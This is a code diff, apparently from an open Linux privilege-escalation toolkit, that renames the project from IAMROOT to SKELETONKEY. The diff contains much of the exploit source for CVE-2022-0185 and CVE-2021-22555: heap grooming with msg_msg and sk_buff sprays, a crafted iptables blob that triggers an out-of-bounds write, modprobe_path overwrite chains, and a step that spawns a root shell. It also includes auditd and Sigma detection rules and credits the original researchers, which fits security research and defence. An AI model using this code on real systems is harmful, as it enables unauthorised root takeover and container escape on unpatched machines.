(void)kaddr; (void)buf; (void)len; (void)ctx_void;
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
return -1;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
/* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre;
}
/* (R2) Refuse if already root — no LPE work to do. */
if (geteuid() == 0) {
/* (R2) Refuse if already root — no LPE work to do. Consult
* ctx->host first so unit tests can construct a non-root
* fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
@@ -541,7 +536,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
@@ -552,13 +547,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* to land write-past-end into the next adjacent msg_msg.
*
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot.
* shape but with knobs scaled for an skeletonkey one-shot.
*/
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
@@ -574,7 +569,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in
@@ -614,7 +609,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
char *first_chunk = malloc(4081);
if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
@@ -632,7 +627,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* step below. */
char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0';
@@ -653,7 +648,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -725,33 +720,32 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
* (see fuse_arb_write). On a host where offsets + groom land,
* the finisher's modprobe_path overwrite execve(unknown)
* call_modprobe chain pops a root shell. On a mismatched host
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
* fabricated success.
*
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
* runs because the arb_write primitive re-fires the trigger and
* needs the live spray.
* --------------------------------------------------------------- */
#ifdef __linux__
if (ctx->full_chain) {
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
"kernel offsets...\n");
}
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
memset(&off, 0, sizeof off);
int resolved = iamroot_offsets_resolve(&off);
int resolved = skeletonkey_offsets_resolve(&off);
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
"(modprobe_path=0x%lx source=%s)\n",
resolved, (unsigned long)off.modprobe_path,
iamroot_offset_source_name(off.source_modprobe));
iamroot_offsets_print(&off);
skeletonkey_offset_source_name(off.source_modprobe));
skeletonkey_offsets_print(&off);
}
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("fuse_legacy");
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("fuse_legacy");
/* Cleanup before returning. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
@@ -759,18 +753,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct fuse_arb_ctx ax = {
.qids = qids,
.n_queues = N_QUEUES,
.hole_q = hole_q,
.tag = "IAMROOT",
.tag = "SKELETONKEY",
.trigger_armed = true,
};
iamroot_result_t fr = iamroot_finisher_modprobe_path(
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
&off, fuse_arb_write, &ax, !ctx->no_shell);
/* Cleanup IPC + mapping regardless of finisher result. The
@@ -783,16 +777,15 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
if (fr == IAMROOT_EXPLOIT_OK) {
return IAMROOT_EXPLOIT_OK;
if (fr == SKELETONKEY_EXPLOIT_OK) {
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
"(arb-write sanity gate or modprobe sentinel refused)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
/* Clean up our IPC queues and mapping. The kernel slab state
* after the overflow may be unstable; we exit cleanly on success
@@ -814,31 +807,53 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
"popping root shell\n");
}
if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
* Linux-only kernel surface. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
"(fsopen + fsconfig + userns mount) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------ */
/* embedded detection rules */
/* ------------------------------------------------------------------ */
static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n"
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -856,7 +871,7 @@ static const char fuse_legacy_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = {
const struct skeletonkey_module fuse_legacy_module = {
.name = "fuse_legacy",
.cve = "CVE-2022-0185",
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
@@ -872,7 +887,7 @@ const struct iamroot_module fuse_legacy_module = {
.detect_falco = NULL,
};
void iamroot_register_fuse_legacy(void)
void skeletonkey_register_fuse_legacy(void)
{
iamroot_register(&fuse_legacy_module);
skeletonkey_register(&fuse_legacy_module);
}
@@ -0,0 +1,12 @@
/*
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
*/
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fuse_legacy_module;
#endif
@@ -0,0 +1,29 @@
# NOTICE — netfilter_xtcompat (CVE-2021-22555)
## Vulnerability
**CVE-2021-22555** — iptables `xt_compat_target_to_user` 4-byte heap
out-of-bounds write → cross-cache UAF → arbitrary kernel R/W.
## Research credit
Discovered, exploited, and disclosed by **Andy Nguyen** (Google
Security Team), April 2021.
Original writeup: "CVE-2021-22555: Turning $00 $00 into 10 million $$$"
<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html>
Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
**Bug existed since 2.6.19 (2006) — 15 years of latent vulnerability.**
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
4.9.266 / 4.4.266.
## SKELETONKEY role
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
spray in kmalloc-2k + sk_buff sidecar; MSG_COPY scan for cross-cache
landing. `--full-chain` extends with stride-seeded `m_list_next`
overwrite aimed at modprobe_path via the shared finisher.
Detection rules cover unshare + msgsnd + `setsockopt(IPT_SO_SET_REPLACE)`.
@@ -1,12 +0,0 @@
/*
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module netfilter_xtcompat_module;
#endif
@@ -1,5 +1,5 @@
/*
* netfilter_xtcompat_cve_2021_22555 IAMROOT module
* netfilter_xtcompat_cve_2021_22555 SKELETONKEY module
*
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
* compat handler for iptables rule export wrote up to 4 bytes
@@ -26,18 +26,18 @@
* - Trigger sequence: hand-rolled iptables rule blob with
* malformed xt_entry_target offset; setsockopt fires the OOB.
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
* cookies for KASAN visibility.
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
* - With --full-chain: shared finisher (core/finisher.c) is
* invoked to perform the modprobe_path overwrite + execve
* unknown-binary trigger. Requires modprobe_path resolution
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
* check in the finisher is the empirical witness for the
* write landing IAMROOT never claims root unless it sees
* write landing SKELETONKEY never claims root unless it sees
* the setuid bash drop with mode 4755 + uid 0.
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
* the primitive demo (verified-vs-claimed bar).
*
* Affected: kernel 2.6.19+ until backports landed:
@@ -56,18 +56,23 @@
* (almost always autoload-able on default-config kernels)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -76,8 +81,6 @@
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#ifdef __linux__
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
@@ -91,31 +94,6 @@
#ifndef SOL_IP
#define SOL_IP 0
#endif
#endif
/* ---------- macOS / non-linux build stubs ---------------------------
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
* constants are absent on Darwin; stub them so the .c file compiles
* cleanly under either toolchain. The actual exploit body is gated
* by `#ifdef __linux__` at runtime entry. */
#ifndef __linux__
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWNET 0x40000000
#define IPPROTO_RAW 255
#define SOL_IP 0
#define IPT_SO_SET_REPLACE 64
struct ipt_replace { char dummy; };
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
#define IPC_PRIVATE 0
#define IPC_CREAT 01000
#define IPC_NOWAIT 04000
#define IPC_RMID 0
#define MSG_COPY 040000
#endif
/* ---- Kernel range ------------------------------------------------- */
@@ -139,71 +117,60 @@ static const struct kernel_range netfilter_xtcompat_range = {
/* ---- Detect ------------------------------------------------------- */
static int can_unshare_userns(void)
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
v.release);
v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
"(bug existed since 2.6.19, 2006)\n", v.release);
"(bug existed since 2.6.19, 2006)\n", v->release);
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
"unprivileged exploit path unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range "
"AND user_ns reachable\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
#ifdef __linux__
/* Write uid_map and gid_map after unshare so we're root in userns.
* This is the standard setgroups=deny pattern; without it the uid_map
* write is rejected on modern kernels for unprivileged callers. */
@@ -252,11 +219,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
struct xtcompat_payload *p = calloc(1, sizeof(*p));
if (!p) return 0;
p->mtype = 0x42;
/* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent-
* slot corruption is recognizable in /tmp/iamroot-xtcompat.log
/* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent-
* slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log
* and in KASAN/oops dumps. */
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOT2", 8);
memcpy(p->buf, "SKELETONKEY2", 8);
int created = 0;
for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) {
@@ -278,7 +245,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES])
}
/* Walk every queue, peek-copy each message (MSG_COPY = read without
* dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2".
* dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2".
* A non-matching prefix is the empirical witness for the OOB write
* landing in an adjacent slot. Returns the count of corrupted slots. */
static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
@@ -292,7 +259,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES])
ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0,
MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */);
if (n < 0) break;
if (memcmp(p->buf, "IAMROOT2", 8) != 0) {
if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) {
corrupted++;
}
}
@@ -324,7 +291,7 @@ static void xtcompat_skb_spray(int iters)
unsigned char *buf = malloc(1800);
if (!buf) { close(sv[0]); close(sv[1]); return; }
memset(buf, 0x41, 1800);
memcpy(buf, "IAMROOTSKB", 10);
memcpy(buf, "SKELETONKEYSKB", 10);
struct iovec iov = { .iov_base = buf, .iov_len = 1800 };
struct mmsghdr mm[32];
for (int i = 0; i < 32; i++) {
@@ -395,10 +362,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len)
/* Plant a recognizable marker so a vulnerable kernel's compat
* decoder reads our crafted entry rather than zeroed memory.
* Marker is intentionally "IAMROOT\0" so a KASAN report's hex
* Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex
* dump points back here. */
unsigned char *entry_region = blob + sizeof(*r);
memcpy(entry_region, "IAMROOTX", 8);
memcpy(entry_region, "SKELETONKEYX", 8);
/* The xt_entry_target sits at entry_region + sizeof(ipt_entry).
* Its `u.target_size` field is the lever Andy bends to underflow
* the pad-out write: setting target_size to a value such that
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
return 0;
}
#endif /* __linux__ — close original primitive block */
/* ---- Full-chain arb-write primitive --------------------------------
*
* Pattern (FALLBACK see module top-comment): the xt_compat 4-byte OOB
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
* patched kernel the trigger returns EINVAL on step 2 and arb_write
* returns -1 without ever queueing the follow-up. */
#ifdef __linux__
struct xtcompat_arb_ctx {
/* Spray queues kept hot across multiple arb_write calls. The
* msg_msg slots seeded here are what the finisher uses as
@@ -524,7 +487,7 @@ struct xtcompat_arb_ctx {
uid_t outer_uid;
gid_t outer_gid;
/* Per-call statistics for /tmp/iamroot-xtcompat.log. */
/* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */
int arb_calls;
int arb_landed;
};
@@ -541,7 +504,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c,
if (!p) return 0;
p->mtype = 0x43;
memset(p->buf, 0x41, sizeof p->buf);
memcpy(p->buf, "IAMROOTW", 8);
memcpy(p->buf, "SKELETONKEYW", 8);
/* Plant the target address at every 0x800-aligned slot inside
* the payload, so wherever the kernel's m_list_next sits
* relative to our payload base, the candidate value is present. */
@@ -636,52 +599,48 @@ static int xtcompat_arb_write(uintptr_t kaddr,
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
iamroot_result_t pre = netfilter_xtcompat_detect(ctx);
if (pre == IAMROOT_OK && geteuid() == 0) {
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
/* Consult ctx->host first so unit tests can construct a non-root
* fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (pre == SKELETONKEY_OK && is_root) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
if (is_root) {
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->authorized) {
fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early with the manual-
* workflow help no point doing the userns + spray + trigger
* dance if we can't finish. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("netfilter_xtcompat");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
@@ -705,7 +664,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -771,7 +730,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
long post_slab = slab_active_kmalloc_2k();
/* Breadcrumb for post-run triage. */
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
if (log) {
fprintf(log,
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
@@ -810,20 +769,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
.arb_calls = 0,
.arb_landed = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
xtcompat_arb_write,
&arb_ctx,
!ctx->no_shell);
/* If the finisher execve'd a root shell, we never get
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
xtcompat_msgmsg_drain(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
/* Primitive-only mode: still NOT root — but it's the
@@ -836,11 +795,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
_exit(30);
}
/* PARENT: reap child + map exit code → iamroot_result. */
/* PARENT: reap child + map exit code → skeletonkey_result. */
int status = 0;
if (waitpid(child, &status, 0) < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -850,14 +809,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
"(crash during trigger — OOB likely fired)\n", sig);
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -866,25 +825,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
"exploit path closed\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 24:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
"see preceding errno\n");
}
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
@@ -892,19 +851,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
"may have fired but did not land on sprayed slots)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 31:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
"appears patched at runtime (validator)\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 32:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
"not effective in userns on this kernel\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 33:
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
@@ -918,38 +877,37 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
